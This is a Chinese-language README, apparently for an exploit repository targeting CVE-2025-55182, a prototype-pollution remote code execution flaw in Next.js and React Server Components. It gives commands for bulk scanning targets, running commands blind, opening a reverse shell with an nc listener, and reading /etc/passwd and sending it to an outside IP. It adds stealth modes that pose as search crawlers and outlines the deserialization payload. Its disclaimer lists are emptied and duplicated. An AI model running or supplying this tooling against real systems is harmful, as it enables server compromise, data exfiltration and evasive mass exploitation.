CVE-2025-55182 是一个影响使用 App Router 和 Server Actions 的 Next.js 应用中 React Server Components (RSC) 的严重远程代码执行 (RCE) 漏洞。
该漏洞存在于 Flight 协议反序列化过程中,使攻击者能够通过原型污染实现任意代码执行。
仅限授权安全测试使用
本工具仅供教育和授权渗透测试使用。未经授权访问计算机系统是违法的。任何违规或非法使用本工具的行为,一切后果由使用者自行承担,作者不承担任何责任。
使用本工具前请阅读完整的 DISCLAIMER.md。
使用本工具即表示您同意:
| 组件 | 受影响版本 |
|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x(App Router + Server Actions) |
# 克隆仓库
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# 安装依赖
pip install requests
pip install requests[socks] # 支持 SOCKS5 代理
python3 exploit.py http://target:3000 --check
# 基础批量扫描
python3 exploit.py -f targets.txt --check
# 使用隐身模式和延迟
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# 保存易受攻击的目标到文件
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# 先启动监听器
nc -lvnp 4444
# 执行反弹 Shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# 启动监听器
nc -lvnp 4444
# 执行并窃取输出
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| 模式 | 描述 |
|---|---|
browser | 模拟真实浏览器请求(默认) |
crawler | 模拟搜索引擎爬虫(Googlebot、Baiduspider 等) |
security | 使用安全扫描器 User-Agent |
| 选项 | 描述 |
|---|---|
target | 目标 URL(例如 http://localhost:3000) |
-f, --file | 包含目标 URL 的文件(每行一个) |
-o, --output | 输出文件,保存易受攻击的目标 |
-c, --command | 要执行的命令(盲) |
--check | 检查是否存在漏洞 |
--proxy | SOCKS5 代理(例如 socks5://127.0.0.1:1080) |
--stealth | 隐身模式:browser、crawler、security |
--delay | 请求之间的延迟(秒) |
--variants | 使用多个载荷变体进行彻底检查 |
--revshell IP PORT | 反弹 Shell 到 IP:PORT |
--exfil CMD IP PORT | 执行 CMD 并将输出 POST 到 IP:PORT |
-t, --timeout | 请求超时(秒,默认:15) |
该漏洞利用 Flight 协议反序列化中的原型污染:
"$1:__proto__:then" 污染 Object.prototype.then"$1:constructor:constructor" 将 _formData.get 设置为 Function 构造函数_prefix 注入恶意代码,该代码被传递给 Function(){
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<malicious_code>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # 主漏洞利用脚本
├── targets.txt # 目标 URL 列表(每行一个)
└── README.md # 本文件
# 注释以 # 开头
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack 和 Next.js 的最新补丁版本本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。
下载、复制、安装或使用本软件即表示您同意受本免责声明条款的约束。
本工具仅用于:
您不得将本工具用于:
本软件按"原样"提供,不提供任何明示或暗示的担保。作者否认所有担保,包括但不限于:
在任何情况下,作者均不对以下情况承担责任:
用户对以下事项承担全部责任:
使用本工具即表示您确认:
下载、复制、安装或使用本软件即表示您同意受本免责声明条款的约束。
本工具仅用于:
您不得将本工具用于:
本软件按"原样"提供,不提供任何明示或暗示的担保。作者否认所有担保,包括但不限于:
在任何情况下,作者均不对以下情况承担责任:
用户对以下事项承担全部责任:
使用本工具即表示您确认:
在进行任何安全测试之前,您必须:
Before conducting any security testing, you must:
⚠️ 未经授权的计算机访问是违法行为 ⚠️
⚠️ Unauthorized computer access is a criminal offense ⚠️